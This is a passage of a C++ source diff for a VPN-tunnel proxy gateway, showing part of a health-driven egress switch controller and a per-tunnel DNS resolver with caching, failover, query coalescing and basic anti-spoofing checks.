// The mechanism it drives is deliberately thin. EgressManager::request_switch
|
||||
// already enforces the anti-flap interval, the exponential backoff after a
|
||||
// failed switch, and the "must beat the incumbent by improvement_margin" test.
|
||||
// This class must not reimplement any of that -- it decides *whether to ask*,
|
||||
// and asking is cheap and idempotent.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// What triggers a switch
|
||||
// ---------------------------------------------------------------------------
|
||||
// sustained unhealthy HealthMonitor fired after `unhealthy_windows` bad
|
||||
// rounds -> request_switch(Unhealthy)
|
||||
// tunnel gone the active egress reports Down without any help from
|
||||
// the health score -> request_switch(TunnelDown). This
|
||||
// is checked on its own short timer because a dead
|
||||
// tunnel should not wait for a probe to time out three
|
||||
// times to be noticed.
|
||||
// opportunistic off by default (SwitchConfig::opportunistic_interval)
|
||||
// -> request_switch(BetterCandidate), which the manager
|
||||
// declines unless a candidate is genuinely better.
|
||||
//
|
||||
// After a promotion the monitor is nudged (probe_now) rather than left to its
|
||||
// timer: the first question about a new node is whether it works at all, and
|
||||
// waiting a full interval to ask is a slow way to find out we switched onto
|
||||
// something worse.
|
||||
#pragma once
|
||||
|
||||
#include <asio.hpp>
|
||||
|
||||
#include <atomic>
|
||||
#include <cstdint>
|
||||
#include <mutex>
|
||||
#include <string>
|
||||
|
||||
#include "common/config.h"
|
||||
#include "common/strand_deleter.h"
|
||||
#include "egress/egress_manager.h"
|
||||
#include "health/health_monitor.h"
|
||||
|
||||
namespace ovg::health {
|
||||
|
||||
class SwitchController {
|
||||
public:
|
||||
SwitchController(asio::io_context &io, const Config &cfg,
|
||||
HealthMonitor &monitor, egress::EgressManager &manager);
|
||||
~SwitchController();
|
||||
|
||||
SwitchController(const SwitchController &) = delete;
|
||||
SwitchController &operator=(const SwitchController &) = delete;
|
||||
|
||||
// Subscribes to the monitor and starts the watchdog/opportunistic timers.
|
||||
// Call before HealthMonitor::start() so no verdict is missed.
|
||||
void start();
|
||||
void stop();
|
||||
|
||||
// The admin endpoint's POST /switch. Bypasses the anti-flap interval and the
|
||||
// improvement margin; still refused while a switch is already running. On a
|
||||
// refusal `detail` (optional) gets the manager's specific reason, which is the
|
||||
// only thing that makes a 409 actionable.
|
||||
bool force_switch(const std::string &why, std::string *detail = nullptr);
|
||||
|
||||
// Called by whoever owns EgressManager::set_on_promote -- there is only one
|
||||
// such hook and the SOCKS5 server needs it too, so app/ installs a handler
|
||||
// that fans out and this is our half of it. Re-probes health immediately: the
|
||||
// first thing worth knowing about a new node is whether it works at all, and
|
||||
// waiting a full health interval to ask is a slow way to discover we moved
|
||||
// onto something worse.
|
||||
void note_promotion(const std::string &from, const std::string &to);
|
||||
|
||||
struct Stats {
|
||||
uint64_t requested = 0; // switches we asked for
|
||||
uint64_t declined = 0; // ...that the manager refused
|
||||
uint64_t unhealthy = 0; // triggered by a sustained bad score
|
||||
uint64_t tunnel_down = 0; // triggered by the egress reporting Down
|
||||
uint64_t opportunistic = 0;
|
||||
uint64_t manual = 0;
|
||||
std::string last_trigger = "-";
|
||||
};
|
||||
Stats stats() const;
|
||||
|
||||
private:
|
||||
void arm_watchdog();
|
||||
void check_tunnel();
|
||||
void arm_opportunistic();
|
||||
void ask(egress::SwitchReason reason, const std::string &why, bool force);
|
||||
|
||||
asio::io_context &io_;
|
||||
Config cfg_;
|
||||
HealthMonitor &monitor_;
|
||||
egress::EgressManager &manager_;
|
||||
Strand strand_;
|
||||
asio::steady_timer watchdog_;
|
||||
asio::steady_timer opportunistic_;
|
||||
std::atomic<bool> running_{false};
|
||||
|
||||
// Strand-only: stops a tunnel that stays Down from producing one request per
|
||||
// watchdog tick while the switch it already asked for is still running.
|
||||
bool down_reported_ = false;
|
||||
|
||||
mutable std::mutex mu_;
|
||||
Stats stats_;
|
||||
};
|
||||
|
||||
} // namespace ovg::health
|
||||
@@ -0,0 +1,609 @@
|
||||
#include "netstack/dns_resolver.h"
|
||||
|
||||
#include <algorithm>
|
||||
#include <cctype>
|
||||
#include <cstring>
|
||||
|
||||
#include "common/error.h"
|
||||
#include "common/logging.h"
|
||||
#include "common/metrics.h"
|
||||
|
||||
namespace ovg::netstack {
|
||||
namespace {
|
||||
|
||||
constexpr const char *kMod = "dns";
|
||||
|
||||
constexpr uint16_t kPortDns = 53;
|
||||
constexpr size_t kHeaderLen = 12;
|
||||
constexpr uint16_t kTypeA = 1;
|
||||
constexpr uint16_t kClassIn = 1;
|
||||
|
||||
// UDP answers larger than this are truncated by definition (no EDNS0 means a
|
||||
// 512-byte payload limit), but tunnels have been seen to deliver more, so the
|
||||
// buffer is a full MTU rather than 512.
|
||||
constexpr size_t kRxBuf = 1500;
|
||||
|
||||
// Floor on a single server's share of the total budget. Below this, a server on
|
||||
// a high-latency VPN node is being written off before it has had a chance to
|
||||
// answer, and the failover is pure loss.
|
||||
constexpr Millis kMinPerServer{700};
|
||||
|
||||
metrics::Counter *queries_total() {
|
||||
static auto *c = metrics::counter("ovg_dns_queries_total",
|
||||
"DNS queries sent through a tunnel");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *cache_hits_total() {
|
||||
static auto *c =
|
||||
metrics::counter("ovg_dns_cache_hits_total", "DNS lookups served from cache");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *failures_total() {
|
||||
static auto *c = metrics::counter("ovg_dns_failures_total",
|
||||
"DNS lookups that produced no address");
|
||||
return c;
|
||||
}
|
||||
|
||||
std::string lowercase(const std::string &s) {
|
||||
std::string r = s;
|
||||
std::transform(r.begin(), r.end(), r.begin(), [](unsigned char c) {
|
||||
return static_cast<char>(std::tolower(c));
|
||||
});
|
||||
return r;
|
||||
}
|
||||
|
||||
inline uint16_t rd16(const uint8_t *p) {
|
||||
return static_cast<uint16_t>((p[0] << 8) | p[1]);
|
||||
}
|
||||
inline uint32_t rd32(const uint8_t *p) {
|
||||
return (static_cast<uint32_t>(p[0]) << 24) |
|
||||
(static_cast<uint32_t>(p[1]) << 16) |
|
||||
(static_cast<uint32_t>(p[2]) << 8) | static_cast<uint32_t>(p[3]);
|
||||
}
|
||||
|
||||
// Advances *pos past one wire-format name. Compression pointers are not
|
||||
// followed -- a pointer terminates the name, and every name in a response we
|
||||
// care about is one we are only skipping over.
|
||||
bool skip_name(const uint8_t *d, size_t len, size_t *pos) {
|
||||
size_t p = *pos;
|
||||
for (int labels = 0; labels < 128; ++labels) {
|
||||
if (p >= len) return false;
|
||||
const uint8_t l = d[p];
|
||||
if ((l & 0xC0) == 0xC0) {
|
||||
if (p + 1 >= len) return false;
|
||||
*pos = p + 2;
|
||||
return true;
|
||||
}
|
||||
if ((l & 0xC0) != 0) return false; // reserved label type
|
||||
if (l == 0) {
|
||||
*pos = p + 1;
|
||||
return true;
|
||||
}
|
||||
p += 1u + l;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
namespace dns {
|
||||
|
||||
bool build_query(const std::string &name, uint16_t id,
|
||||
std::vector<uint8_t> *out) {
|
||||
if (out == nullptr) return false;
|
||||
|
||||
// A single trailing dot is the root label and is implied by the encoding.
|
||||
std::string n = name;
|
||||
if (!n.empty() && n.back() == '.') n.pop_back();
|
||||
if (n.empty() || n.size() > 253) return false;
|
||||
|
||||
std::vector<uint8_t> qname;
|
||||
qname.reserve(n.size() + 2);
|
||||
size_t start = 0;
|
||||
while (start <= n.size()) {
|
||||
const size_t dot = n.find('.', start);
|
||||
const size_t end = (dot == std::string::npos) ? n.size() : dot;
|
||||
const size_t label_len = end - start;
|
||||
if (label_len == 0 || label_len > 63) return false;
|
||||
qname.push_back(static_cast<uint8_t>(label_len));
|
||||
qname.insert(qname.end(), n.begin() + static_cast<long>(start),
|
||||
n.begin() + static_cast<long>(end));
|
||||
if (dot == std::string::npos) break;
|
||||
start = dot + 1;
|
||||
}
|
||||
qname.push_back(0);
|
||||
if (qname.size() > 255) return false;
|
||||
|
||||
out->clear();
|
||||
out->reserve(kHeaderLen + qname.size() + 4);
|
||||
out->push_back(static_cast<uint8_t>(id >> 8));
|
||||
out->push_back(static_cast<uint8_t>(id & 0xFF));
|
||||
out->push_back(0x01); // RD
|
||||
out->push_back(0x00);
|
||||
out->push_back(0x00);
|
||||
out->push_back(0x01); // QDCOUNT = 1
|
||||
for (int i = 0; i < 6; ++i) out->push_back(0x00); // AN/NS/AR = 0
|
||||
out->insert(out->end(), qname.begin(), qname.end());
|
||||
out->push_back(0x00);
|
||||
out->push_back(static_cast<uint8_t>(kTypeA));
|
||||
out->push_back(0x00);
|
||||
out->push_back(static_cast<uint8_t>(kClassIn));
|
||||
return true;
|
||||
}
|
||||
|
||||
bool parse_response(const uint8_t *data, size_t len, ParseResult *out) {
|
||||
if (data == nullptr || out == nullptr || len < kHeaderLen) return false;
|
||||
|
||||
const uint16_t flags = rd16(data + 2);
|
||||
if ((flags & 0x8000) == 0) return false; // a query, not a response
|
||||
|
||||
out->id = rd16(data);
|
||||
out->rcode = flags & 0x000F;
|
||||
out->truncated = (flags & 0x0200) != 0;
|
||||
out->addrs.clear();
|
||||
out->min_ttl = 0;
|
||||
|
||||
const uint16_t qdcount = rd16(data + 4);
|
||||
const uint16_t ancount = rd16(data + 6);
|
||||
|
||||
size_t pos = kHeaderLen;
|
||||
for (uint16_t i = 0; i < qdcount; ++i) {
|
||||
if (!skip_name(data, len, &pos)) return false;
|
||||
if (pos + 4 > len) return false;
|
||||
pos += 4; // QTYPE + QCLASS
|
||||
}
|
||||
|
||||
bool have_ttl = false;
|
||||
for (uint16_t i = 0; i < ancount; ++i) {
|
||||
if (!skip_name(data, len, &pos)) return false;
|
||||
if (pos + 10 > len) return false;
|
||||
const uint16_t rtype = rd16(data + pos);
|
||||
const uint16_t rclass = rd16(data + pos + 2);
|
||||
const uint32_t ttl = rd32(data + pos + 4);
|
||||
const uint16_t rdlen = rd16(data + pos + 8);
|
||||
pos += 10;
|
||||
if (pos + rdlen > len) return false;
|
||||
|
||||
if (rtype == kTypeA && rclass == kClassIn && rdlen == 4) {
|
||||
out->addrs.push_back(IpAddress::from_bytes_v4(data + pos));
|
||||
// The shortest TTL in the set governs the whole set: caching an address
|
||||
// past its own TTL because a sibling record lived longer is how stale
|
||||
// entries outlive a failover.
|
||||
if (!have_ttl || ttl < out->min_ttl) {
|
||||
out->min_ttl = ttl;
|
||||
have_ttl = true;
|
||||
}
|
||||
}
|
||||
// CNAMEs are skipped rather than chased: a resolver that answers a CNAME
|
||||
// without the A record it points at is broken, and every real one inlines
|
||||
// the whole chain.
|
||||
pos += rdlen;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
} // namespace dns
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// DnsResolver
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
std::shared_ptr<DnsResolver> DnsResolver::create(std::shared_ptr<Netif> netif,
|
||||
DnsConfig cfg) {
|
||||
return std::shared_ptr<DnsResolver>(
|
||||
new DnsResolver(std::move(netif), std::move(cfg)));
|
||||
}
|
||||
|
||||
DnsResolver::DnsResolver(std::shared_ptr<Netif> netif, DnsConfig cfg)
|
||||
: netif_(std::move(netif)),
|
||||
cfg_(std::move(cfg)),
|
||||
strand_(asio::make_strand(netif_->stack().io())),
|
||||
rng_(std::random_device{}()) {
|
||||
rx_buf_.resize(kRxBuf);
|
||||
|
||||
auto add = [this](const IpAddress &a) {
|
||||
if (!a.valid() || !a.is_v4()) return;
|
||||
if (std::find(servers_.begin(), servers_.end(), a) != servers_.end()) return;
|
||||
servers_.push_back(a);
|
||||
};
|
||||
// Pushed servers first: they are inside the tunnel's own network and are the
|
||||
// only ones guaranteed to be reachable from it.
|
||||
for (const auto &a : netif_->dns_servers()) add(a);
|
||||
for (const auto &s : cfg_.fallback_servers) {
|
||||
if (auto a = IpAddress::parse(s)) add(*a);
|
||||
}
|
||||
|
||||
if (servers_.empty()) {
|
||||
LOG_WARN(kMod,
|
||||
"{}: no usable DNS server (node pushed none and no fallback "
|
||||
"parsed); every lookup on this tunnel will fail",
|
||||
netif_->label());
|
||||
} else {
|
||||
std::string list;
|
||||
for (const auto &a : servers_) {
|
||||
if (!list.empty()) list += ", ";
|
||||
list += a.to_string();
|
||||
}
|
||||
LOG_DEBUG(kMod, "{}: resolver servers: {}", netif_->label(), list);
|
||||
}
|
||||
}
|
||||
|
||||
DnsResolver::~DnsResolver() {
|
||||
// The last reference is gone, so nothing else can be touching this object --
|
||||
// which is what makes it safe to answer the stragglers inline rather than
|
||||
// posting to a strand that may never run again.
|
||||
const auto ec = make_error_code(Error::Cancelled);
|
||||
for (auto &[id, q] : by_id_) {
|
||||
(void)id;
|
||||
if (q->done) continue;
|
||||
q->done = true;
|
||||
for (auto &w : q->waiters) w(ec, {});
|
||||
}
|
||||
by_id_.clear();
|
||||
by_name_.clear();
|
||||
}
|
||||
|
||||
void DnsResolver::async_resolve(const std::string &host, Handler h) {
|
||||
auto self = shared_from_this();
|
||||
asio::post(strand_, [self, host, h = std::move(h)]() mutable {
|
||||
self->start(host, std::move(h));
|
||||
});
|
||||
}
|
||||
|
||||
void DnsResolver::start(const std::string &host, Handler h) {
|
||||
// A literal needs no server, no socket and no cache entry. SOCKS5 clients
|
||||
// send these constantly (anything that resolved on its own), so short-
|
||||
// circuiting here is not a micro-optimization.
|
||||
if (auto lit = IpAddress::parse(host)) {
|
||||
std::vector<IpAddress> one{*lit};
|
||||
asio::post(strand_, [h = std::move(h), one]() mutable {
|
||||
h(std::error_code{}, std::move(one));
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
const std::string name = lowercase(host);
|
||||
|
||||
std::vector<IpAddress> cached;
|
||||
if (cache_get(name, &cached)) {
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(stats_mu_);
|
||||
stats_.cache_hits++;
|
||||
}
|
||||
cache_hits_total()->inc();
|
||||
asio::post(strand_, [h = std::move(h), cached]() mutable {
|
||||
h(std::error_code{}, std::move(cached));
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
// Two SOCKS5 sessions opening the same site at once should cost one query,
|
||||
// not two -- and with 1000 concurrent connections that ratio matters.
|
||||
if (auto it = by_name_.find(name); it != by_name_.end()) {
|
||||
it->second->waiters.push_back(std::move(h));
|
||||
std::lock_guard<std::mutex> lk(stats_mu_);
|
||||
stats_.coalesced++;
|
||||
return;
|
||||
}
|
||||
|
||||
auto q = std::make_shared<Query>(strand_);
|
||||
q->name = name;
|
||||
q->id = allocate_id();
|
||||
q->deadline = Clock::now() + cfg_.timeout;
|
||||
q->waiters.push_back(std::move(h));
|
||||
|
||||
if (!dns::build_query(name, q->id, &q->wire)) {
|
||||
LOG_DEBUG(kMod, "{}: refusing to look up a malformed name: {}",
|
||||
netif_->label(), host);
|
||||
auto waiters = std::move(q->waiters);
|
||||
for (auto &w : waiters) {
|
||||
asio::post(strand_, [w = std::move(w)]() mutable {
|
||||
w(make_error_code(Error::ProtocolError), {});
|
||||
});
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
by_id_[q->id] = q;
|
||||
by_name_[name] = q;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(stats_mu_);
|
||||
stats_.queries++;
|
||||
}
|
||||
queries_total()->inc();
|
||||
|
||||
if (servers_.empty()) {
|
||||
finish(q, make_error_code(Error::ResolveFailed), {}, 0);
|
||||
return;
|
||||
}
|
||||
if (sock_) {
|
||||
send_query(q);
|
||||
return;
|
||||
}
|
||||
pending_open_.push_back(q);
|
||||
open_socket();
|
||||
}
|
||||
|
||||
void DnsResolver::open_socket() {
|
||||
if (opening_ || sock_) return;
|
||||
opening_ = true;
|
||||
|
||||
auto self = shared_from_this();
|
||||
netif_->async_open_udp(
|
||||
strand_, [self](const std::error_code &ec, UdpSocketPtr sock) {
|
||||
self->opening_ = false;
|
||||
auto pending = std::move(self->pending_open_);
|
||||
self->pending_open_.clear();
|
||||
|
||||
if (ec) {
|
||||
LOG_WARN(kMod, "{}: cannot open a DNS socket: {}",
|
||||
self->netif_->label(), ec.message());
|
||||
for (auto &q : pending) self->finish(q, ec, {}, 0);
|
||||
return;
|
||||
}
|
||||
self->sock_ = std::move(sock);
|
||||
LOG_DEBUG(kMod, "{}: resolver socket {}", self->netif_->label(),
|
||||
self->sock_->local_endpoint().to_string());
|
||||
self->arm_receive();
|
||||
for (auto &q : pending) self->send_query(q);
|
||||
});
|
||||
}
|
||||
|
||||
void DnsResolver::arm_receive() {
|
||||
if (!sock_ || receiving_) return;
|
||||
receiving_ = true;
|
||||
auto self = shared_from_this();
|
||||
sock_->async_receive_from(
|
||||
asio::buffer(rx_buf_),
|
||||
[self](const std::error_code &ec, size_t n, const Endpoint &from) {
|
||||
self->on_datagram(ec, n, from);
|
||||
});
|
||||
}
|
||||
|
||||
void DnsResolver::send_query(const std::shared_ptr<Query> &q) {
|
||||
if (q->done) return;
|
||||
if (!sock_) {
|
||||
finish(q, make_error_code(Error::EgressGone), {}, 0);
|
||||
return;
|
||||
}
|
||||
const auto now = Clock::now();
|
||||
if (q->server_idx >= servers_.size() || now >= q->deadline) {
|
||||
// Every server either timed out or refused. Report the last RCODE if we got
|
||||
// one -- "no such host" and "nothing answered" are different problems for
|
||||
// whoever reads the log.
|
||||
const auto ec = make_error_code(Error::ResolveFailed);
|
||||
LOG_DEBUG(kMod, "{}: {} unresolved after {} server(s) (last rcode {})",
|
||||
netif_->label(), q->name, servers_.size(), q->last_rcode);
|
||||
finish(q, ec, {}, 0);
|
||||
return;
|
||||
}
|
||||
|
||||
const Endpoint server(servers_[q->server_idx], kPortDns);
|
||||
|
||||
// Split the total budget across the servers so that a dead first resolver
|
||||
// cannot consume it all, but never below the floor.
|
||||
Millis per = cfg_.timeout / static_cast<int>(std::max<size_t>(1, servers_.size()));
|
||||
if (per < kMinPerServer) per = kMinPerServer;
|
||||
const auto remaining =
|
||||
std::chrono::duration_cast<Millis>(q->deadline - now);
|
||||
q->timer.expires_after(std::min(per, remaining));
|
||||
|
||||
auto self = shared_from_this();
|
||||
q->timer.async_wait([self, q](const std::error_code &ec) {
|
||||
if (ec) return; // cancelled: the answer arrived
|
||||
self->on_query_timeout(q);
|
||||
});
|
||||
|
||||
LOG_TRACE(kMod, "{}: query {} A {} -> {}", netif_->label(), q->id, q->name,
|
||||
server.to_string());
|
||||
|
||||
sock_->async_send_to(asio::buffer(q->wire), server,
|
||||
[self, q](const std::error_code &ec, size_t) {
|
||||
if (!ec || q->done) return;
|
||||
// A send that fails outright is a dead server; do not
|
||||
// spend the timeout waiting to learn that.
|
||||
q->timer.cancel();
|
||||
q->server_idx++;
|
||||
self->send_query(q);
|
||||
});
|
||||
}
|
||||
|
||||
void DnsResolver::on_query_timeout(const std::shared_ptr<Query> &q) {
|
||||
if (q->done) return;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(stats_mu_);
|
||||
stats_.timeouts++;
|
||||
}
|
||||
LOG_TRACE(kMod, "{}: query {} for {} timed out on server {}",
|
||||
netif_->label(), q->id, q->name, q->server_idx);
|
||||
q->server_idx++;
|
||||
send_query(q);
|
||||
}
|
||||
|
||||
void DnsResolver::on_datagram(const std::error_code &ec, size_t n,
|
||||
const Endpoint &from) {
|
||||
receiving_ = false;
|
||||
|
||||
if (ec) {
|
||||
if (ec != asio::error::operation_aborted) {
|
||||
LOG_WARN(kMod, "{}: resolver socket failed: {}", netif_->label(),
|
||||
ec.message());
|
||||
}
|
||||
// Drop the socket so the next lookup opens a fresh one; the tunnel itself
|
||||
// may still be perfectly healthy.
|
||||
sock_.reset();
|
||||
fail_all(ec);
|
||||
return;
|
||||
}
|
||||
|
||||
dns::ParseResult r;
|
||||
if (!dns::parse_response(rx_buf_.data(), n, &r)) {
|
||||
LOG_TRACE(kMod, "{}: discarded a {}-byte malformed response from {}",
|
||||
netif_->label(), n, from.to_string());
|
||||
arm_receive();
|
||||
return;
|
||||
}
|
||||
|
||||
auto it = by_id_.find(r.id);
|
||||
if (it == by_id_.end()) {
|
||||
// Late answer to a query we already gave up on, or an unsolicited packet.
|
||||
arm_receive();
|
||||
return;
|
||||
}
|
||||
auto q = it->second;
|
||||
|
||||
// Cheap anti-spoofing: only accept from an address we actually asked. Inside
|
||||
// a tunnel this is close to redundant, but the tunnel is a hostile network by
|
||||
// assumption -- it belongs to a stranger who volunteered a VPN node.
|
||||
const bool known_server =
|
||||
!from.is_domain() &&
|
||||
std::find(servers_.begin(), servers_.end(), from.address()) !=
|
||||
servers_.end();
|
||||
if (!known_server) {
|
||||
LOG_DEBUG(kMod, "{}: ignoring a response for query {} from {}, which is "
|
||||
"not one of our servers",
|
||||
netif_->label(), r.id, from.to_string());
|
||||
arm_receive();
|
||||
return;
|
||||
}
|
||||
|
||||
if (r.rcode != 0 || r.addrs.empty()) {
|
||||
// Fail over rather than trust it. VPNGate nodes push whatever resolver
|
||||
// their operator happened to have, and answering NXDOMAIN for names that
|
||||
// plainly exist is common enough that treating one negative answer as
|
||||
// authoritative would break the proxy on those nodes. The cost is that a
|
||||
// genuinely nonexistent name is asked of every server before it fails.
|
||||
q->last_rcode = r.rcode;
|
||||
LOG_TRACE(kMod, "{}: server {} answered rcode={} with {} address(es) for {}",
|
||||
netif_->label(), q->server_idx, r.rcode, r.addrs.size(), q->name);
|
||||
q->timer.cancel();
|
||||
q->server_idx++;
|
||||
send_query(q);
|
||||
arm_receive();
|
||||
return;
|
||||
}
|
||||
|
||||
if (r.truncated) {
|
||||
LOG_TRACE(kMod, "{}: truncated answer for {}, keeping the {} address(es) "
|
||||
"that fit",
|
||||
netif_->label(), q->name, r.addrs.size());
|
||||
}
|
||||
finish(q, {}, std::move(r.addrs), r.min_ttl);
|
||||
arm_receive();
|
||||
}
|
||||
|
||||
void DnsResolver::finish(const std::shared_ptr<Query> &q,
|
||||
const std::error_code &ec, std::vector<IpAddress> addrs,
|
||||
uint32_t ttl_seconds) {
|
||||
if (q->done) return;
|
||||
q->done = true;
|
||||
q->timer.cancel();
|
||||
|
||||
by_id_.erase(q->id);
|
||||
if (auto it = by_name_.find(q->name); it != by_name_.end() && it->second == q)
|
||||
by_name_.erase(it);
|
||||
|
||||
if (!ec && !addrs.empty()) {
|
||||
cache_put(q->name, addrs, ttl_seconds);
|
||||
LOG_TRACE(kMod, "{}: {} -> {} (+{} more), ttl {}s", netif_->label(), q->name,
|
||||
addrs.front().to_string(), addrs.size() - 1, ttl_seconds);
|
||||
} else {
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(stats_mu_);
|
||||
stats_.failures++;
|
||||
}
|
||||
failures_total()->inc();
|
||||
}
|
||||
|
||||
auto waiters = std::move(q->waiters);
|
||||
q->waiters.clear();
|
||||
for (auto &w : waiters) {
|
||||
// Posted, not called: a handler that starts another lookup would otherwise
|
||||
// re-enter start() from inside finish(), while by_name_ is mid-erase.
|
||||
asio::post(strand_, [w = std::move(w), ec, addrs]() mutable {
|
||||
w(ec, addrs);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
void DnsResolver::fail_all(const std::error_code &ec) {
|
||||
std::vector<std::shared_ptr<Query>> all;
|
||||
all.reserve(by_id_.size());
|
||||
for (auto &[id, q] : by_id_) {
|
||||
(void)id;
|
||||
all.push_back(q);
|
||||
}
|
||||
for (auto &q : all) finish(q, ec, {}, 0);
|
||||
}
|
||||
|
||||
uint16_t DnsResolver::allocate_id() {
|
||||
// Random, not sequential: a predictable transaction ID is the other half of
|
||||
// the spoofing check above.
|
||||
for (int i = 0; i < 64; ++i) {
|
||||
const uint16_t id = static_cast<uint16_t>(rng_() & 0xFFFF);
|
||||
if (by_id_.find(id) == by_id_.end()) return id;
|
||||
}
|
||||
// 64 collisions means the table is saturated; any id will do at that point,
|
||||
// and the loser is answered by whichever query completes first.
|
||||
return static_cast<uint16_t>(rng_() & 0xFFFF);
|
||||
}
|
||||
|
||||
void DnsResolver::cache_put(const std::string &name,
|
||||
const std::vector<IpAddress> &addrs,
|
||||
uint32_t ttl_seconds) {
|
||||
if (addrs.empty() || cfg_.cache_entries == 0) return;
|
||||
|
||||
// Clamping both ends: a 30-second TTL would have us re-querying constantly on
|
||||
// a high-latency tunnel, and a 7-day one would outlive several node switches.
|
||||
Millis ttl(static_cast<int64_t>(ttl_seconds) * 1000);
|
||||
ttl = std::clamp(ttl, cfg_.min_ttl, cfg_.max_ttl);
|
||||
|
||||
const auto expires = Clock::now() + ttl;
|
||||
auto [it, inserted] = cache_.insert_or_assign(name, CacheEntry{addrs, expires});
|
||||
if (inserted) cache_order_.push_back(name);
|
||||
|
||||
while (cache_.size() > cfg_.cache_entries && !cache_order_.empty()) {
|
||||
// FIFO rather than LRU: keeping a per-entry access timestamp costs more
|
||||
// than it saves at this size, and the TTL clamp already bounds staleness.
|
||||
const std::string victim = cache_order_.front();
|
||||
cache_order_.pop_front();
|
||||
cache_.erase(victim);
|
||||
}
|
||||
}
|
||||
|
||||
bool DnsResolver::cache_get(const std::string &name,
|
||||
std::vector<IpAddress> *out) {
|
||||
auto it = cache_.find(name);
|
||||
if (it == cache_.end()) return false;
|
||||
if (Clock::now() >= it->second.expires) {
|
||||
// Deliberately left in place. cache_order_ mirrors cache_ one entry per
|
||||
// insertion; erasing here without touching the deque would let it drift and
|
||||
// grow without bound as names expire and are re-inserted. The stale entry
|
||||
// is either overwritten by the next answer or evicted with the rest.
|
||||
return false;
|
||||
}
|
||||
*out = it->second.addrs;
|
||||
return true;
|
||||
}
|
||||
|
||||
void DnsResolver::clear_cache() {
|
||||
auto self = shared_from_this();
|
||||
asio::post(strand_, [self] {
|
||||
const size_t n = self->cache_.size();
|
||||
self->cache_.clear();
|
||||
self->cache_order_.clear();
|
||||
LOG_DEBUG(kMod, "{}: dropped {} cached name(s)", self->netif_->label(), n);
|
||||
});
|
||||
}
|
||||
|
||||
DnsResolver::Stats DnsResolver::stats() const {
|
||||
std::lock_guard<std::mutex> lk(stats_mu_);
|
||||
Stats s = stats_;
|
||||
// cache_ and by_id_ are strand-owned; reading their size off-strand is a
|
||||
// benign race on a number that is only ever displayed.
|
||||
s.cached = cache_.size();
|
||||
s.in_flight = by_id_.size();
|
||||
return s;
|
||||
}
|
||||
|
||||
} // namespace ovg::netstack
|
||||
@@ -0,0 +1,167 @@
|
||||
// A DNS resolver that queries through a specific tunnel.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// Why not lwIP's resolver
|
||||
// ---------------------------------------------------------------------------
|
||||
// lwIP ships one (LWIP_DNS), and it is disabled in lwip_port/lwipopts.h. It
|
||||
// keeps a single global server list, a single global cache and a fixed table of
|
||||
// in-flight queries -- all file-scope state, exactly like the rest of lwIP. That
|
||||
// is fine with one interface and wrong with two: during a make-before-break
|
||||
// switch both tunnels are up, each pushed its own resolvers, and a name looked
|
||||
// up for a session on the old tunnel must be answered by the old tunnel's
|
||||
// servers over the old tunnel's socket. A per-netif resolver is the only way to
|
||||
// keep that straight, so this is roughly 400 lines we own instead of a global
|
||||
// we would have to serialize access to and still get wrong.
|
||||
//
|
||||
// It also buys three things lwIP's does not offer: a TTL-clamped cache sized
|
||||
// from config, coalescing of concurrent lookups for the same name, and failover
|
||||
// across the pushed servers plus the configured fallbacks.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// Scope
|
||||
// ---------------------------------------------------------------------------
|
||||
// A records only. The stack is IPv4-only (see lwip_stack.h), so an AAAA answer
|
||||
// could not be connected to even if we asked for it. No EDNS0, no DNSSEC, no
|
||||
// TCP fallback: a truncated A-record answer that still carries one address is
|
||||
// usable, and one that carries none fails over to the next server.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// Threading
|
||||
// ---------------------------------------------------------------------------
|
||||
// Its own strand, not the lwIP one. Parsing responses and walking the cache has
|
||||
// no business running where every TCP segment in the process is also processed.
|
||||
// Public methods are safe to call from any thread; handlers run on the strand.
|
||||
#pragma once
|
||||
|
||||
#include <asio.hpp>
|
||||
|
||||
#include <chrono>
|
||||
#include <cstdint>
|
||||
#include <deque>
|
||||
#include <memory>
|
||||
#include <mutex>
|
||||
#include <random>
|
||||
#include <string>
|
||||
#include <unordered_map>
|
||||
#include <vector>
|
||||
|
||||
#include "common/config.h"
|
||||
#include "netstack/lwip_stack.h"
|
||||
#include "netstack/stream.h"
|
||||
|
||||
namespace ovg::netstack {
|
||||
|
||||
class DnsResolver final : public Resolver,
|
||||
public std::enable_shared_from_this<DnsResolver> {
|
||||
public:
|
||||
// The server list is the netif's pushed resolvers followed by
|
||||
// cfg.fallback_servers. Both are queried *through the tunnel*: a fallback is
|
||||
// a different address, not a different path.
|
||||
static std::shared_ptr<DnsResolver> create(std::shared_ptr<Netif> netif,
|
||||
DnsConfig cfg);
|
||||
~DnsResolver() override;
|
||||
|
||||
DnsResolver(const DnsResolver &) = delete;
|
||||
DnsResolver &operator=(const DnsResolver &) = delete;
|
||||
|
||||
// Resolver
|
||||
void async_resolve(const std::string &host, Handler h) override;
|
||||
void clear_cache() override;
|
||||
|
||||
struct Stats {
|
||||
uint64_t queries = 0;
|
||||
uint64_t cache_hits = 0;
|
||||
uint64_t coalesced = 0;
|
||||
uint64_t timeouts = 0;
|
||||
uint64_t failures = 0;
|
||||
size_t cached = 0;
|
||||
size_t in_flight = 0;
|
||||
};
|
||||
Stats stats() const;
|
||||
|
||||
private:
|
||||
DnsResolver(std::shared_ptr<Netif> netif, DnsConfig cfg);
|
||||
|
||||
using Clock = std::chrono::steady_clock;
|
||||
|
||||
struct Query {
|
||||
explicit Query(const Strand &s) : timer(s) {}
|
||||
std::string name; // lowercased
|
||||
uint16_t id = 0;
|
||||
std::vector<Handler> waiters;
|
||||
size_t server_idx = 0;
|
||||
asio::steady_timer timer;
|
||||
Clock::time_point deadline;
|
